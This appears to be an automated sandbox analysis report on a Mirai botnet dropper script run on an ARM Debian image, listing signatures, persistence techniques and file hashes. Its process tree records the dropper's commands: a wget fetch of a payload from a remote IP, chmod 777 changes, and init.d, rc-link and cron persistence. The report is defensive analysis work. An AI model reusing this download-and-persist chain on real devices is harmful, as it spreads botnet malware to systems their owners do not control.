Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/10/2026, 22:33

General

  • Target
    l.sh
  • Size 4KB
  • Sample261030-2glqfagy6m
  • SHA256 70acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Modifies rc script
    PID:655
    • /bin/uname
      uname -m
      2⤵
        PID:657
      • /bin/rm
        rm -f .b
        2⤵
          PID:660
        • /usr/bin/wget
          wget -qO .b http://77.239.124.141/b/armv7l
          2⤵
          • Writes file to tmp directory
          PID:663
        • /bin/chmod
          chmod 777 .b
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/.b
          ./.b
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • Writes file to shm directory
          PID:771
        • /bin/cat
          cat
          2⤵
            PID:772
          • /bin/chmod
            chmod 777 /var/.m
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /bin/chmod
            chmod 777 /var
            2⤵
            • File and Directory Permissions Modification
            PID:777
          • /bin/chmod
            chmod 777 /etc/rc.local
            2⤵
            • File and Directory Permissions Modification
            PID:778
          • /bin/cp
            cp /var/.m /etc/init.d/bot
            2⤵
            • Modifies init.d
            PID:779
          • /bin/chmod
            chmod 777 /etc/init.d/bot
            2⤵
            • File and Directory Permissions Modification
            PID:780
          • /bin/ln
            ln -sf /etc/init.d/bot /etc/rc3.d/S99bot
            2⤵
              PID:781
            • /bin/ln
              ln -sf /etc/init.d/bot /etc/rc5.d/S99bot
              2⤵
                PID:782
              • /bin/grep
                grep -q /var/.m /var/spool/cron/root
                2⤵
                  PID:783

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    .comm

                    • Path /dev/shm/.comm
                    • Size 6B
                    • SHA256 650055f7a72a23ad1ca0714a0cf6f93f7bfdfa6272888881d5322d72d8aa512a
                    • MD5 SHA1 SHA512

                    rc.local

                    • Path /etc/rc.local
                    • Size 10B
                    • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                    • MD5 SHA1 SHA512

                    rc.local

                    • Path /etc/rc.local
                    • Size 36B
                    • SHA256 6a948b659c747bc2cb77b6808bf9fa5aeefb5fde19a2e58d26823bcde924f69e
                    • MD5 SHA1 SHA512

                    .b

                    • Path /tmp/.b
                    • Size 153KB
                    • SHA256 143d267e0343c59bab514dd0a47090ee6d8288746a62372ae86c0c70df182b9e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    .bpid

                    • Path /var/.bpid
                    • Size 4B
                    • SHA256 7834d333b474fa250809895b392ec6569f4b4dd67674d25a633286b0df217cbb
                    • MD5 SHA1 SHA512

                    .m

                    • Path /var/.m
                    • Size 334B
                    • SHA256 d9688470ee4aef3d14f0962df3ef76df2b3243441fea6e2802227ed46f4e2bb8
                    • MD5 SHA1 SHA512 TLSH

                    root

                    • Path /var/spool/cron/root
                    • Size 37B
                    • SHA256 1b3fe417903fe231cb53c927797d6a192a54d98b541b819cb06df8f702dc5c27
                    • MD5 SHA1 SHA512